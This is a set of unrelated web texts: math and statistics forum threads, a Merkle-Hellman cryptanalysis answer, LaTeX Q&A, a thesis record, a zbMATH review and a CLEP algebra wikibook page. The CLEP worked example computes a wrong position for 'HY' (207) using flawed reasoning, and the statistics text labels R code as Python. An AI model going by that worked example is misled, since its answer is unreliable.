next year = 500 + 11 + 22 + 33 + 44 + 55 ( %inc over value added)
= 665
% = 665-500/500 = 33
(C) imo
Re: The cost of one helmet, two pairs of gloves, three pairs of pads &nbs [#permalink] 27 Feb 2018, 11:33
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1. factorials
may i know how to prove the theorem that factorials beat exponentials?
2. Originally Posted by alexandrabel90
may i know how to prove the theorem that factorials beat exponentials?
$n!\underset{n\to\infty}{\sim}\sqrt{2\pi n}n^ne^{-n}$
3. sorry, i dont really get what you are trying to hint to me. how do i make use of this formula to show that
eg the fraction of an exponential over factorial will tend to 0?
4. Originally Posted by alexandrabel90
sorry, i dont really get what you are trying to hint to me. how do i make use of this formula to show that
eg the fraction of an exponential over factorial will tend to 0?
$\lim_{n\to\infty}\frac{a^n}{n!}=\lim_{n\to\infty}\ frac{a^n}{\sqrt{2\pi n}n^n e^{-n}}=\frac{1}{\sqrt{2\pi}}\lim_{n\to\infty}\frac{(a \cdot e)^n}{n^{n+\frac{1}{2}}}=0$
Why?
5. Here's a much simpler way. We know $e^a = \sum_{n=0}^\infty \frac{a^n}{n!}$ converges for every real number $a$, which immediately implies $\lim_{n \rightarrow \infty} \frac{a^n}{n!} = 0$.
6. Originally Posted by Bruno J.
Here's a much simpler way. We know $e^a = \sum_{n=0}^\infty \frac{a^n}{n!}$ converges for every real number $a$, which immediately implies $\lim_{n \rightarrow \infty} \frac{a^n}{n!} = 0$.
How do you know the OP has seen series? Really all you tacitly assumed was that if $\lim_{n\to\infty}\left|\frac{a_{n+1}}{a_n}\right|< 1$ then it's dominated by a convergent geometric sequence.
7. isit because n(n+0.5) can be taken as n^n thus the fraction becomes (a.e/n)^n where (a.e/n) is less than 1?
8. in my course that im learning, i have yet to learn the formula for factorials. so assuming that i dont know that formula, is there another method to prove it?
thanks
9. Originally Posted by Drexel28
How do you know the OP has seen series?
What does OP stand for?
10. Proposition[ratio teste for sequences]
Iff (x_n) is a sequence with x_n >0 forall n in N
and $\lim \frac{x_{n+1}}{x_{n}} <1$
then $\lim x_{n} =0$.
Take $x_n =\frac{a^n}{n!}$ a>0
then
$\frac{x_{n+1}}{x_{n}} = \frac{a^{n+1} n!}{(n+1)! a^n}=\frac{a}{n+1}$
so $\lim \frac{x_{n+1}}{x_{n}}=0 <1$
then
$\lim \frac{a^n}{n!}=0$
11. Originally Posted by Drexel28
How do you know the OP has seen series? Really all you tacitly assumed was that if $\lim_{n\to\infty}\left|\frac{a_{n+1}}{a_n}\right|< 1$ then it's dominated by a convergent geometric sequence.
How do you know the OP has seen Stirling's formula?
You're right about all that I've assumed, which is comparatively quite little.
12. Originally Posted by dwsmith
What does OP stand for?
"Original Poster"
13. by the way, is there a way to use sandwich theorem to prove this?
14. Given a>0 exists $n_{0}\in N$ with $n_{0}>2a$,
$\frac{n_{0}}{a}>2$ so for $n\geq n_{0}$ we have
$\frac{n}{a}\geq \frac{n_{0}}{a}>2$
taking the product in $\frac{t}{a}>2$ from $t=n_{0}$ to $n$ we have
$\prod^{n}_{t=n_{0}}\frac{t}{a}>\prod^{n}_{t=n_{0}} 2=2^{n+1-n_{0}}$
taking the product with $\prod\limits^{n_{0}-1}_{t=1}\frac{t}{a}=p$ on the both sides off the inequality
$\prod\limits^{n_{0}-1}_{t=1}\frac{t}{a}\prod^{n}_{t=n_{0}}\frac{t}{a}= \prod^{n}_{t=1}\frac{t}{a}=\frac{n!}{a^{n}}>p.2^{n +1-n_{0}}$
$\frac{n!}{a^{n}}>p.2^{n+1-n_{0}}$
the limit on the right goes to infinity so the limit on the left too
, so
$\lim \frac{n!}{a^{n}}=\infty,\lim \frac{a^{n}}{n!}=0.$
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# How to attack Merkle-Hellman cryptosystem if the first element in the superincreasing series is too small?
In An Introduction to Mathematical Cryptography Jeffrey Hoffstein et al. claim that "It turns out that if $r_1$ is too small, then there are easy attacks, so we must insist that $r_1>2^n$." Here $r_1$ is the first element of the superincreasing series used in the Merkle-Hellman cryptosystem before it is disguised with modular arithmetic and $n$ is the number of elements in the series. Does anyone have information on how these attacks might work or a basic explanation of why too small $r_1$ is unsafe?
• Would you mind add / linking a description of the Merkle-Hellman cryptosystem? At least to me it's unknown and I'm quite sure the same applies to quite a few others here. – SEJPM Jul 11 '17 at 21:09
Let's begin with a short description of the Merkle-Hellman knapsack scheme. The private key is a superincreasing sequence of $n$ elements $b_1, b_2, \dots, b_n$, along with a secret element $W$ and $N$, with $W$ invertible modulo $N$. A superincreasing sequence is a sequence in which every element is greater than the sum of its predecessors: $$b_i > \sum_{j=1}^{i-1} b_j \,.$$
The public key is the vector $a_1, a_2, \dots, a_n$, where $a_i = W b_i \bmod N$. To encrypt a message, the sender splits the message into individual bits $m_i$, and calculates the encrypted message to be $$c = \sum_{i=1}^n m_i a_i \equiv \sum_{i=1}^n m_i b_i W \,.$$
Decryption begins by multiplying $c$ by $W^{-1}$ modulo $N$, cancelling out the contribution of $W$, and then solving the subset sum for the known superincreasing sequence.
We can break the scheme by recovering either $W$ or $N$. The following simple attack is described in Galbraith's book. Suppose $b_1$ is small—much smaller than $2^n$. Then it is likely that $b_2$ is also similarly small, and we have the interesting property: \begin{align*} a_1b_2 &\equiv a_2b_1 \pmod{N} \\ Wb_1b_2 &\equiv W b_2 b_1 \pmod{N}\,, \end{align*} and therefore $a_1b_2 - a_2b_1$ is guaranteed to be a small multiple of $N$. By bruteforcing $b_1$ and $b_2$, we can recover a short list of candidate $N$, which we can then confirm by trying to recover $W = a_1/b_1 \pmod {N}$ and verify if this $W$ applies to the other $a_i, b_i$ as well. This suggests that $b_i$ should be at least $2^{n/2}$ in size.
This is not the only attack when $b_1$ is small. Odlyzko described another two, including the famous Shamir attack. There are also very relevant lattice attacks on Merkle-Hellman, but those are already seem to be described in Hoffstein et al.
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# gausscov v0.0.4
0
0th
Percentile
## The Gaussian Covariate Method for Variable Selection
Given the standard linear model the traditional way of deciding whether to include the jth covariate is to apply the F-test to decide whether the corresponding beta coefficient is zero. The Gaussian covariate method is completely different. The question as to whether the beta coefficient is or is not zero is replaced by the question as to whether the covariate is better or worse than i.i.d. Gaussian noise. The P-value for the covariate is the probability that Gaussian noise is better. Surprisingly this can be given exactly and it is the same a the P-value for the classical model based on the F-distribution. The Gaussian covariate P-value is model free, it is the same for any data set. Using the idea it is possible to do covariate selection for a small number of covariates 25 by considering all subsets. Post selection inference causes no problems as the P-values hold whatever the data. The idea extends to stepwise regression again with exact probabilities. In the simplest version the only parameter is a specified cut-off P-value which can be interpreted as the probability of a false positive being included in the final selection. For more information see the website below and the accompanying papers: L. Davies and L. Duembgen, "Covariate Selection Based on a Model-free Approach to Linear Regression with Exact Probabilities", 2020, <arXiv:1906.01990>. L. Davies, "Lasso, Knockoff and Gaussian covariates: A comparison", 2018, <arXiv:1807.09633>.
## Functions in gausscov
Name Description ly.original Leukemia data frobregp Robust regression using Huber's psi-function providing P-values snspt Sunspot data frobreg Robust regression using Huber's psi-function fpval Calculates the regression coefficients, the P-values and the standard P-values for the chosen subset ind frmch Robust selection of covariates based on all subsets redwine Redwine data fsimords Simulates the number of false positives for given dimensions (n,k) and given order statistics nu decomp decompose a given interaction ic into its component parts lx.original Leukemia data mel-temp Melbourne minimum temperature frst Robust stepwise selection of covariates fselect Selects the subsets specified by fmch. fgr2st Calculates an independence graph using repeated stepwise selection fmch Calculates all subsets where each included covariate is significant. abcq American Business Cycle fgeninter generation of interactions decode Decodes the number of a subset selected by flmmdch to give the covariates fgentrig generation of sine and cosine functions f2st Repeated stepwise selection of covariates boston Boston data dent Dental data f1st Stepwise selection of covariates fgr1st Calculates an independence graph using stepwise selection No Results!
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Skip to main content
# 5.1: What is a statistical test?
Suppose that we compared two sets of numbers, measurements which came from two samples. From comparison, we found that they are different. But how to know if this difference did not arise by chance? In other words, how to decide that our two samples are truly different, i.e. did not come from the one population?
These samples could be, for example, measurements of systolic blood pressure. If we study the drug which potentially lowers the blood pressure, it is sensible to mix it randomly with a placebo, and then ask members of the group to report their blood pressure on the first day of trial and, saying, on the tenth day. Then the difference between two measurements will allow to decide if there is any effect:
Code $$\PageIndex{1}$$ (Python):
bpress <- read.table("data/bpress.txt", h=TRUE)
head(bpress)
drug.d <- bpress$DRUG.10 - bpress$DRUG.1
placebo.d <- bpress$PLACEBO.10 - bpress$PLACEBO.1
mean(drug.d - placebo.d)
boxplot(bpress)
Now, there is a promising effect, sufficient difference between blood pressure differences with drug and with placebo. This is also visible well with boxplots (check it yourself). How to test it? We already know how to use p-value, but it is the end of logical chain. Let us start from the beginning.
## Statistical hypotheses
Philosophers postulated that science can never prove a theory, but only disprove it. If we collect 1000 facts that support a theory, it does not mean we have proved it—it is possible that the 1001st piece of evidence will disprove it. This is why in statistical testing we commonly use two hypotheses. The one we are trying to prove is called the alternative hypothesis ($$H_1$$). The other, default one, is called the null hypothesis ($$H_0$$). The null hypothesis is a proposition of absence of something (for example, difference between two samples or relationship between two variables). We cannot prove the alternative hypothesis, but we can reject the null hypothesis and therefore switch to the alternative. If we cannot reject the null hypothesis, then we must stay with it.
## Statistical errors
With two hypotheses, there are four possible outcomes (Table $$\PageIndex{1}$$).
The first (a) and the last (d) outcomes are ideal cases: we either accept the null hypothesis which is correct for the population studied, or we reject $$H_0$$ when it is wrong.
If we have accepted the alternative hypothesis, when it is not true, we have committed a Type I statistical error—we have found a pattern that does not exist. This situation is often called “false positive”, or “false alarm”. The probability of committing a Type I error is connected with a p-value which is always reported as one of results of a statistical test. In fact, p-value is a probability to have same or greater effect if the null hypothesis is true.
Imagine security officer on the night duty who hears something strange. There are two choices: jump and check if this noise is an indication of something important, or continue to relax. If the noise outside is not important or even not real but officer jumped, this is the Type I error. The probability to hear the suspicious noise when actually nothing happens in a p-value.
sample\population Null is true Alternative is true
Accept null
Accept alternative
Table $$\PageIndex{1}$$ Statistical hypotheses, including illustrations of (b) Type I and (c) Type II errors. Bigger dots are samples, all dots are population(s).
For the security officer, it is probably better to commit Type I error than to skip something important. However, in science the situation is opposite: we always stay with the $$H_0$$ when the probability of committing a Type I error is too high. Philosophically, this is a variant of Occam’s razor: scientists always prefer not to introduce anything (i.e., switch to alternative) without necessity.
the man who single-handedly saved the world from nuclear war
This approach could be found also in other spheres of our life. Read the Wikipedia article about Stanislav Petrov (https://en.wikipedia.org/wiki/Stanislav_Petrov); this is another example when false alarm is too costly.
The obvious question is what probability is “too high”? The conventional answer places that threshold at 0.05—the alternative hypothesis is accepted if the p-value is less than 5% (more than 95% confidence level). In medicine, with human lives as stake, the thresholds are set even more strictly, at 1% or even 0.1%. Contrary, in social sciences, it is frequent to accept 10% as a threshold. Whatever was chosen as a threshold, it must be set a priori, before any test. It is not allowed to modify threshold in order to find an excuse for statistical decision in mind.
Accept the null hypothesis when in fact the alternative is true is a Type II statistical error—failure to detect a pattern that actually exists. This is called “false negative”, “carelessness”. If the careless security officer did not jump when the noise outside is really important, this is Type II error. Probability of committing type II error is expressed as power of the statistical test (Figure $$\PageIndex{1}$$). The smaller is this probability, the more powerful is the test.
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dc.contributor.advisor Kamrin, Ken dc.contributor.author Kim, Seongmin dc.date.accessioned 2021-11-22T18:04:29Z dash.embargo.terms 2022-05-16 dc.date.created 2021 dc.date.issued 2021-11-16 dc.date.submitted 2021-11 dc.identifier.citation Kim, Seongmin. 2021. Determining Nonlocal Granular Rheology from Discrete Element Simulations. Doctoral dissertation, Harvard University Graduate School of Arts and Sciences. dc.identifier.other 28768248 dc.identifier.uri https://nrs.harvard.edu/URN-3:HUL.INSTREPOS:37370215 * dc.description.abstract We determine the constitutive equation of simple granular materials considering them as continuous fluids. Based on discrete element simulations, we propose two rheological models with different Rivlin-Ericksen tensor orders. In the first-order model, we identify that rescaling the shear-to-stress ratio $\mu$ by a power function of dimensionless granular temperature $\Theta$ makes the data from many different flow geometries collapse to a single curve which depends only on the inertial number $I$. The basic power-law structure appears robust to varying surface friction in both 2D and 3D systems. We also observe that $\phi$ is a function of $\mu$, which connects our rheology to kinetic theory and the nonlocal granular fluidity model. In order to describe stress anisotropy and secondary flows, we extend our model by including the second-order Rivlin Ericksen tensor. Using DEM data, we find the equations for three model parameters $\mu_1$, $\mu_2$, and $\mu_3$ as functions of $I$ and $\Theta$. We observe similar power-law scaling in $\mu_1$ and $\mu_2$ while $\mu_3$ distributes near zero for small $I$. The first and second normal stress differences $N_1$ and $N_2$ are also measured and discussed. We validate the models by running finite difference method simulations of inclined chute flows. We show that the second-order model predicts all the velocity components including secondary flows while the first-order model predicts velocity in the downstream direction only. Both models successfully predict the exponentially decaying velocity as $\Theta$ is included in the model parameters. dc.format.mimetype application/pdf dc.language.iso en dash.license LAA dc.subject Amorphous Material dc.subject Granular Flow dc.subject Granular Material dc.subject Granular Rheology dc.subject Nonlocal Rheology dc.subject Soft Matter dc.subject Applied physics dc.subject Mechanical engineering dc.subject Geophysics dc.title Determining Nonlocal Granular Rheology from Discrete Element Simulations dc.type Thesis or Dissertation dash.depositing.author Kim, Seongmin dash.embargo.until 2022-05-16 dc.date.available 2021-11-22T18:04:29Z thesis.degree.date 2021 thesis.degree.grantor Harvard University Graduate School of Arts and Sciences thesis.degree.level Doctoral thesis.degree.name Ph.D. dc.contributor.committeeMember Rycroft, Chris dc.contributor.committeeMember Spaepen, Frans dc.type.material text thesis.degree.department Engineering and Applied Sciences - Applied Physics dc.identifier.orcid 0000-0001-5766-7605 dash.author.email [email protected]
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# Data augmentation in deep training
I'm trying to understand the role of data augmentation and how it can affect the performance/accuracy of a deep model. My target application is a fire classification (fire or not, on video frames), with almost 15K positive and negative samples, and I was using the following data augmentation techniques. Does using ALL the followings always increase the performance? Or we have to choose them somehow smartly given our target application?
rotation_range=20, width_shift_range=0.2, height_shift_range=0.2,zoom_range=0.2, horizontal_flip=True
When I think a bit more, fire is always straight up, so I think rotation or shift might in fact worsen the results, given that it makes the image sides stretch like this, which is irrelevant to fires in video frames. Same with rotation. So I think maybe I should only keep zoom_range=0.2, horizontal_flip=True and remove the first three. Because I see some false positives when we have a scene transition effect in videos.
Is my argument correct? Should I keep them or remove them?
• Thanks. And after rounds of epochs, I still don't know which model to take as the best. Is it the one with lowest val_loss or highest val_acc?! – Tina J Feb 11 at 17:18
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# Measure the length of the lowercase alphabet
In the memoir manual speaks about
measuring the length of the lowercase alphabet
in order to decide the numbers of characters per line. Can this be done with LaTeX?
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Both answers seem to be equal correct and elegant (at least to my eyes). I can't decide which one I should accept... – pmav99 May 4 '11 at 19:21
My answer is the "official" LaTeX way, while Yiannis one uses plainTeX macros. I personally actually use that macros more often because you only need to box the content once and get the height, width and depth using \ht, \wd and \dp respectively. – Martin Scharrer May 4 '11 at 20:07
If with the length it means the width of all lowercase letters than you can use \settowidth{<length register>}{<content>}:
\documentclass{article}
\begin{document}
\newlength{\alphabetlength}
\settowidth{\alphabetlength}{abcdefghijklmnopqrstuvwxyz}
\the\alphabetlength
\end{document}
(I took the liberty to use the same format as Yiannis answer to allow for better comparison. His answer is fine too, but I wanted to show the official LaTeX way.)
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Thank you! – pmav99 May 4 '11 at 19:22
You can place the letters in a box and measure its length. Here is a minimal to do this.
\documentclass{article}
\begin{document}
\newbox\alphabet
\sbox\alphabet{abcdefghijklmnopqrstuvwxyz}
\the\wd\alphabet
\end{document}
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@Yiannis Ευχαριστώ - Thank you! – pmav99 May 4 '11 at 19:23
@pmav99 \textgreek{parakalw} – Yiannis Lazarides May 4 '11 at 19:32
@Yiannis You are hardcore! This is the Unicode age :P – pmav99 May 4 '11 at 19:47
I finally chose Martin's answer as he uses one less \` ... LOL – pmav99 May 4 '11 at 19:49
@pmav99 I see, my solution was optimized for the minimum number of curly brackets! – Yiannis Lazarides May 5 '11 at 3:33
Just for the record, page 15 of memman.pdf brings the following to print the length of the lowercase alphabet:
\newlength{\mylen} % a length
\newcommand{\alphabet}{abc...xyz} % the lowercase alphabet
\begingroup % keep font change local
% font specification e.g., \Large\sffamily
\settowidth{\mylen}{\alphabet}
The length of this alphabet is \the\mylen. % print in document
\typeout{The length of the Large sans alphabet
is \the\mylen} % put in log file
\endgroup % end the grouping
Which is basically @Martin's way.
-
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# Tag Info
4
If I understood your question correctly, for the horizontal alignment you can use a tabular with two c columns; the vertical alignment comes from \subcaptionbox: \documentclass[a4paper, 12pt]{report} \usepackage[utf8]{inputenc} \usepackage{graphicx} \usepackage{subcaption} \usepackage{subfig} \usepackage{floatrow} ...
3
Don't use subfigure, that has been obsolete for 15 years or so. With subfig and its \subfloat command that substitute the obsolete package, the label should go in the optional argument (the one for the subcaption). \documentclass[11pt,twocolumn]{article} \usepackage[T1]{fontenc} \usepackage[utf8]{inputenc} % ensure your document is UTF-8 ...
2
The class acmsmall is defining a command \subcaption which results in the captions shown in Karl's answer. If you are not strictly bound to that template and want to use normal labelling as from the package subcaption, you will have to undefine that very command. The reason for doing so could be that you would like to reference to some subfigure ...
2
See, if this is what you like to obtain: I guess that you have problem with definition of image width. I replace \includegraphics[width=0.84\linewidth]{Graph2} with \includegraphics[width=0.84\hsize]{example-image} and for images select test images which provide graphics package. I didn't give any attention to their height. The complete code is: ...
2
the subfigure width argument needs curly braces ie \begin{subfigure}{3.0\textwidth} however i think that seeing as you have only one image the subfigure environment is somewhat redundant. You can just as easily control position, size, caption numbering etc. using just figure and \includegraphics. (the above solution uses subcaption package)
2
Here is subcaption solution, which has to been used in its own box or environment (that's a little bit tedious) Otherwise, everything works like normal. The optional argument to \subcaption , i.e. the one enclosed with [...] will appear in the List of Figures (Lof). If no such option is given, then the value of the mandatory argument {...} will go to the ...
2
The caption package provides the \ContinuedFloat macro for figures that are split over multiple floats. Combined with the subfigure environment, as in Matt's answer, to get the subfigure-numbering. \documentclass{report} \usepackage{subcaption} \DeclareCaptionSubType*[Alph]{figure} \captionsetup[subfigure]{labelformat=simple} ...
1
You can use the subcaption package to get subfigure labeling. Normally you would just include multiple subfigures within a single \begin{figure} ... \end{figure} environment, but if you want it to break across pages you can't do that. In order to get the numbering to work out, I reset the subfigure counter every time I start a new figure. ...
1
Regarding OP additional question in comment I wrote separate answer. There are more possibilities how to vertical centering your sub images. First, which come to my mind is to use tabular environment with column type m{<width>}, which is defined in package array: Code: \documentclass{article} \usepackage{graphicx} \usepackage{subcaption} ...
1
You are introducing some spurious white spaces by calling the subfigure environment on and on again. This environment is not meant to be called after an \includegraphics and therefore does not handle the white space introduced by the new line. You have to end that line with a %. I redefined your \phantomsubfigure in order to prevent you from this error for ...
1
The comments have described how to do this with \captionof, here is a different approach with \phantomsubcaption from the subcaption package. \phantomsubcaption is useful for example if you have generated a figure with sub-figure labels included in the graphic, but it can also be used in this case. \documentclass{article} \usepackage{pgfplots,subcaption} ...
Only top voted, non community-wiki answers of a minimum length are eligible
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# zbMATH — the first resource for mathematics
Finite-dimensional representations of quantum affine algebras. (English) Zbl 0915.17011
Let $$\widehat{\mathfrak g}$$ be an untwisted affine Lie algebra and $$U_q(\widehat{\mathfrak g})$$ the associated quantum group over the field $$\mathbb{C} ({\mathfrak q})$$ of rational functions of an indeterminate $$q$$. Let $$\lambda_1, \dots, \lambda_n$$ be the fundamental weights of the underlying finite-dimensional complex simple Lie algebra $${\mathfrak g}$$, and let $$V(\lambda_i)_a$$ be the evaluation representation with parameter $$a\in\mathbb{C} (q)^\times$$. The authors propose a conjecture on the condition for irreducibility of a tensor product $$V(\lambda_{i_1})_{a_1} \otimes \cdots \otimes V(\lambda_{i_N})_{a_N}$$.
This has the following consequence: this tensor product is irreducible iff the $$R$$-matrix $$V(\lambda_{i_r})_x\otimes V(\lambda_{i_s})_y\to V(\lambda_{i_s})_y \otimes V(\lambda_{i_r})_x$$ has no pole at $$(x,y)= (a_r,a_s)$$ for all $$r<s$$. Moreover, when this $$R$$-matrix has no pole at $$(x,y)= (a_r,a_s)$$ for all $$r>s$$, the submodule of $$v(\lambda_{i_1})_{a_1} \otimes\cdots \otimes V(\lambda_{i_N})_{a_N}$$ generated by the tensor product of highest weight vectors is irreducible, and every finite-dimensional irreducible integrable module is obtained in this way.
The main conjecture is proved when $${\mathfrak g}$$ is of type $$A_n$$ and $$C_n$$, using crystal basis techniques.
##### MSC:
17B37 Quantum groups (quantized enveloping algebras) and related deformations 17B67 Kac-Moody (super)algebras; extended affine Lie algebras; toroidal Lie algebras
Full Text:
##### References:
[1] Beck, J., Braid group action and quantum affme algebras, Camm. Math. Phys., 165 (1994) 555-568. · Zbl 0807.17013 [2] Chari, V. and Pressley, A., A Guide to Quantum Groups, Cambridge University Press, 1994. · Zbl 0839.17009 [3] _ . Quantum affine algebras and their representations, Canad. Math. Soc. Conf. Proc., 16 (1995). 59-78. · Zbl 0855.17009 [4] _ __, Twisted quantum affine algebras, q-alg/9611002. [5] Date, E. and Okado, M., Calculation of excitation spectra of the spin model related with the vector represention of the quantized affine algebra of type An, Interim. J Modern Phys. A, 9 (1994), 399-417. · Zbl 0905.17004 · doi:10.1142/S0217751X94000194 [6] Drinfeld, V, G., Quantum groups, Proc. ICM 86 (Berkeley) , AMS, 1, 798-820. [7] [ 8 ] Frenkel, I. and Reshetikhin, N., Quantum affine algebras and holonomic difference equations, Camm. Math. Phys., 146 (1992), 1-60. · Zbl 0760.17006 · doi:10.1007/BF02099206 [8] Gandenberger, G. M. and MacKay, N. J., Exact S-matrices for dj?+i affine Toda solitons and their bounded states. Nuclear Phys. £457 (1995) , 240-272. · Zbl 0996.37505 · doi:10.1016/0550-3213(95)00462-9 [9] Jimbo, M., A ^-difference analogue of U(Q) and the Yang Baxter equation, Lett. Math. Phys., 10 (1985) , 63-69. · Zbl 0587.17004 · doi:10.1007/BF00704588 [10] Jimbo, M. and Miwa, T., Algebraic Analysis of Solvable Lattice Models, CBMS Regional Conf. series in Math., 85, AMS, 1995. [11] Kashiwara, M., On crystal bases of the ^-analogue of universal enveloping algebras, Duke Math. J., 6$$(1991), 465-516.$$ · Zbl 0739.17005 · doi:10.1215/S0012-7094-91-06321-0 [12] _ _ __. Global crystal bases of quantum groups, Duke Math. J., 69 (1993) . 455-485. [13] _ , Crystal bases of modified quantized enveloping algebra, Duke Math. J., 73 (1994) , 383-413. · Zbl 0794.17009 · doi:10.1215/S0012-7094-94-07317-1 [14] Kang, S.-J., Kashiwara, M., Misra, K., Miwa, T., Nakashima, T.,and Nakayashiki, A., Affine crystal and Vertex models, Internal. J. Modern Phys. A 7, Suppl. 1A (1992) , 449-484. · Zbl 0925.17005 · doi:10.1142/S0217751X92003896 [15] ___ , Perfect crystals of quantum affine Lie algebra, Durk Math.J., 68 (1992) 499-607. [16] Kashiwara, M. and Nakashima, T., Crystal graphs for representations of the ^-analogue of classical Lie algebras./. Algebra, 165 (1994). 295-345. · Zbl 0808.17005 · doi:10.1006/jabr.1994.1114 [17] Tanisaki, T., Killing forms, Harish- Chandra isomorphisms, and universal R -matrices for quantum algebras, Infinite Analysis, Proceedings of the RIMS Project 1991, Part B, Adv. Ser. Math. Phys. 16, World Scientific, (1992) 941-962. · Zbl 0870.17007
This reference list is based on information provided by the publisher or from digital mathematics libraries. Its items are heuristically matched to zbMATH identifiers and may contain data conversion errors. It attempts to reflect the references listed in the original paper as accurately as possible without claiming the completeness or perfect precision of the matching.
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# Can linear combinations of any Gaussian random variables be independent?
Suppose that $X=[X_1\; X_2]^t$ is Gaussian vector. My question is whether $U=a_1X_1+a_2X_2$ and $V=b_1X_1+b_2X_2$, where $a_1b_2-a_2b_1\ne 0$, can be independent Gaussian random variables, if $a_1a_2b_1b_2 \neq 0$.
• I believe the answer is yes. Somebody posted an example in a question a couple days ago. I believe it was $X,Y,Z$ are independent standard normals, then $Z-Y+X$ and $X+Y$ are independent. You can prove it easily using the bilinearity property of covariance. That's not exactly what you are looking for because it involves a combination of three instead of two, but I imagine an example using two is not hard to come by – Gregory Grant Jun 5 '15 at 20:34
Let $X=[X_1\; X_2]^t$ be a jointly Gaussian vector and $K_X=E\{XX^t\}$ be its covariance matrix. Since any covariance matrix is a positive semi-definite, it can be decomposed as $$K_X=W\Lambda W^t,$$ where $W=[w_1|w_2]$ is a unitary matrix and $\Lambda$ is a diagonal matrix. Then, since $w_1$ and $w_2$ are orthogonal, i.e., $w_1^tw_2=0$, we can prove that $U=w_1^tX$ and $U=w_2^tX$ are uncorrelated because $$E\{UV\}=E\{UV^t\}=E\{w_1^tXX^tw_2\}=w_1^tE\{XX^t\}w_2=w_1^tK_Xw_2=\Lambda.$$
On the other hand, we know that if two jointly Gaussian random variables are uncorrelated they are independent. Therefore, if $X_1$ and $X_2$ are jointly Gaussian, one can choose $[a_1 \; a_2]=w_1^t$ and $[b_1 \; b_2]=w_2^t$. Note that the elements of $w_1$ and $w_2$ can be non-zero in general.
If $X_1$ and $X_2$ are independent normal random variables, then at least after normalizing the random variables to have equal variance (for simplicity) you can choose any two linear combinations $a_1 X_1 + a_2 X_2$ and $b_1 X_1 + b_2 X_2$ such that $a$ and $b$ are orthogonal, i.e. $a_1b_1 + a_2b_2 = 0$, and the resulting linear combinations will be independent. You can check this by computing the covariance between the two linear combinations, noting that $X_1$ and $X_2$ are independent and have equal variance. For example, you can choose $a_1 = 1, a_2 = 1, b_1 = 1, b_2 = -1$. This satisfies your conditions on the coefficients.
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# CLEP College Algebra/Sequences and Series
In mathematics, it is important to find patterns. That is what mathematicians do almost everyday of their lives. How they determine patterns is different depending on the type of mathematics they work with. For college algebra, determining patterns is part of the curriculum. The problem below demonstrates one way we determine these patterns. Keep in mind that the problem below is an Exploration and most likely not representative of the types of problems you may see in the CLEP College Algebra exam.
Exploration 0-1: Imagine the Standard English Alphabet on a page, listed in order from left to right. After the last letter in the Standard English Alphabet, ${\displaystyle {\text{Z}}}$, define a next letter ${\displaystyle {\text{AA}}}$ that will be added to the Standard English Alphabet. Continue listing the alphabet as normal (${\displaystyle {\text{AB}},\,{\text{AC}},\,\ldots ,\,{\text{BA}},\,{\text{BB}},\ldots }$) until you get to letter ${\displaystyle {\text{ZZ}}}$, the last letter of this "New Alphabet." Assume letter ${\displaystyle {\text{A}}}$ is defined as the first letter in this "New Alphabet." At what position will you find the letter ${\displaystyle {\text{HY}}}$ in the "New Alphabet."
In the standard English Alphabet, there are ${\displaystyle 26}$ letters in total. Let us define the list of all the letters A-Z as the "Old Alphabet."
Concatenating the letter ${\displaystyle {\text{A}}}$ to ${\displaystyle {\text{A}}}$ will give us a new letter, ${\displaystyle {\text{AA}}}$. Adding this to the "Old Alphabet" obviously does not make it the old set anymore, so let us define the alphabet in which you add new letters to the old one the "New Alphabet" How many of the new letters are in this set? Well, each letter from "Old Alphabet" must get another additional letter to make the "New Alphabet" Therefore, for each letter, ${\displaystyle 26}$ letters are added to the old one (i.e. the letter "A" will have letters "A", "B", "C",...,"Z" concatenated to "A", so 26 more letters are added to each letter of the "Old Alphabet"). Since each letter is used, exactly ${\displaystyle 26^{2}{\text{ new letters}}}$ are created in the "New Alphabet" The figure below may help demonstrate this new fact.
${\displaystyle {26{\begin{cases}\overbrace {AA,\,AB,\,AC,\ldots ,\,AY,\,AZ} ^{26}\\\overbrace {BA,\,BB,\,BC,\ldots ,\,BY,\,BZ} ^{26}\\{\text{ }}\qquad \qquad \quad \;\;\vdots \\\overbrace {YA,\,YB,\,YC,\ldots ,\,YY,\,YZ} ^{26}\\\overbrace {ZA,\,ZB,\,ZC,\ldots ,\,ZY,\,ZZ} ^{26}\end{cases}}}\!}$
The left brace tells us how many letters are in the "Old Alphabet"; the top brace for each "row" tells us how many new letters are created per letter of the alphabet. Since 26 letters are created for each letter of the "Old Alphabet," add every new letter created into the "New Alphabet." Since there are ${\displaystyle 26}$ rows, and each row creates ${\displaystyle 26}$ new letters,
${\displaystyle {\underbrace {26+26+26+...+26+26} _{26}=26\cdot 26=26^{2}=676{\text{ letters in New Alphabet.}}}}$
Given that we know the total number of letters in the "New Alphabet," we can find out what position letter HY is in this "New Alphabet." First, the letter position of H is ${\displaystyle 8}$. Second, the letter position of Y is ${\displaystyle 25}$. Since the above figure shows a table, we can find HY by looking up that "coordinate." Since the position of HY contains all the terms in that given area, we can multiply the two values to get the area (i.e. it is a rectangle that contains all those letter). This is not the final answer, however. Realize that we excluded some 7 other letters by multiplying in that block; ergo, the letter position of the letter ${\displaystyle {\text{HY}}}$ is
${\displaystyle 8\cdot 25+7=207}$
What were we doing in the problem above? Essentially, we were simply trying to find what position some "term" is in. Does it not intrigue you to see math try to find a position of some "term" in a list? We have problems like these as mathematicians because the patterns underlying a "list" of numbers can help us determine new facts of mathematics. After all, what were we doing when using functions? We were trying to find a number using a pattern (the function). Unlike the previous sections, however, we were not given a formula. Luckily enough, it is not difficult to make a formula for a given "list" of numbers. Before we dive into these new problems. It helps to establish definitions.
Definition.
A sequence is a list of elements, such as numbers, figures, or letters, that is generally written in some pattern.
Objects in Sequences.
A term is an item found within a sequence.
There is a little disclaimer to get out of the way before we try to solve some problems. First, a sequence can have no pattern. However, for our purposes, we will not count any list of numbers in which no pattern exists. Second, even in simple sequences, numbers of any kind can be named if they follow after a sequence rule. For example, here's a sequence in which the rule is to list prime numbers: ${\displaystyle {\left\{{\mathit {2}},{\mathit {3}},{\mathit {5}},{\mathit {7}},{\mathit {11}},\ldots \right\}}}$ If you were like most people, you would probably name the prime numbers in order. However, you could perhaps finish the sequence like this: ${\displaystyle {\left\{{\mathit {2}},{\mathit {3}},{\mathit {5}},{\mathit {7}},{\mathit {11}},{\mathit {13}},{\mathit {23}},{\mathit {2011}},{\mathit {(2^{82,589,933}-1)}},\ldots \right\}}}$ For our purpose of standardization, we will follow a pattern by stating what number you must find first or identify the pattern.
Let's begin exploring the world that is Sequences and Series.
## Sequences
As you already know, a sequence is a list of objects that generally follow a pattern. However, the type of pattern that is described will classify sequences into either arithmetic sequences or geometric sequences. Each will be explored in depth within the next sections.
### Arithmetic Sequences
